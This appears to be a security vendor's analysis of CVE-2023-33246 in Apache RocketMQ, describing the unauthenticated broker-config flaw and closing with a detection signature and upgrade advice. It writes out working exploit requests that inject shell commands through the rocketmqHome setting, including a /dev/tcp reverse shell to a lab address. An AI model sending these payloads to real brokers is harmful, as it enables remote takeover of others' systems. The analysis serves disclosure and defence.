Apache RocketMQ is one of the most popular and widely used distributed messaging and streaming platforms.
A command execution vulnerability has been recently reported in Apache RocketMQ affecting version 5.1.0 and below. A remote unauthenticated user can exploit this vulnerability by using the update configuration function to execute commands with same access level as that of RocketMQ user process. It has been assigned CVE-2023-33246. More details about this vulnerability and various affected versions can be found at NVD.
This vulnerability exists due to lack of permission verification while a remote unauthenticated user tries to update Broker config. The fact that several components including NameServer, Controller and Broker are accessible over the extranet, makes it extremely susceptible to this attack.
It has been assigned CVSS3.1 score of 9.8 making it highly exploitable.
Let’s take a close look at how this vulnerability works. In our lab, we had Apache RocketMQ version 4.9.4 running.
Vulnerability Details
RocketMQ works on the principle of pub/sub messaging making use of clusters of Producers, Consumers and Brokers to provide low latency with high reliability and performance.
RocketMQ client functionality has been implemented in various languages such as Java, C++, C# to name few. It makes use of Protocol Buffers version 3 over gRPC to define the API interface and the structure of the payload messages.
Using default config, Broker cluster gets initiated on tcp port 9876 to start receiving messages from a client. For example, below is a sample communication b/w a client and broker to fetch RocketMQ version.
We can see that the first 8 bytes contain protocol information regarding API communication followed by the actual message being transferred from client to the server.
Locating the vulnerability
Once the patch with a fix was released, it was clear that there was no check for user permissions as far as updating the broker config was concerned.
On further analysis, we could find that UpdateBrokerConfig() is called as a result of an incoming request with code ‘25’ that corresponds to RequestCode, “UPDATE_BROKER_CONFIG” as shown below:
The following is a sample request with code 25 :
The above request will update the broker.conf file with the property “filterServerNums=1”
Exploitation and Remote Code Execution
To exploit this vulnerability, we make use of “rocketmqHome” server config present in broker.conf. This config is used to define and set the value of the environmental variable ROCKETMQ_HOME by RocketMQ user process. By passing specially crafted value, we can execute commands of our choice.
We can simply send the request below to create a sample file ”aditya.txt” on the server:
{“code”:25,”flag”:0,”language”:”JAVA”,”opaque”:0,”serializeTypeCurrentRPC”:”JSON”,”version”:395}
filterServerNums=1\nrocketmqHome=-c $@|sh . echo touch aditya.txt
aditya.txt is created under $rocketmqHome/bin
The broker.conf file has now been updated with ”rocketmqHome=-c $@|sh . echo touch aditya.txt” as seen below:
Obtaining reverse shell
Now that we know any command can be executed, we do the following:
Open a random listener port on the attacker’s machine using a simple utility such as nc.
From the attacker’s machine, send specially crafted request containing reverse shell command that connects back to the above port with a shell.
{“code”:25,”flag”:0,”language”:”JAVA”,”opaque”:0,”serializeTypeCurrentRPC”:”JSON”,”version”:395}filterServerNums=1\n
rocketmqHome=-c $@|sh . echo bash –i >& /dev/tcp/192.168.56.101/9999 0>&1
Reverse shell is received with Apache RocketMQ user privileges.
On the victim machine, we can also see attack details being captured in the log file.
Remediation and Conclusion
Juniper SRX customers with IDP license are protected against this vulnerability using the below signature.
TCP:C2S:APACHE-ROCKETMQ-UPDT-CE
This signature was released with IDP sigpack #3604
At the same time, please make sure to Upgrade RocketMQ to version 4.9.6, 5.1.1 or higher.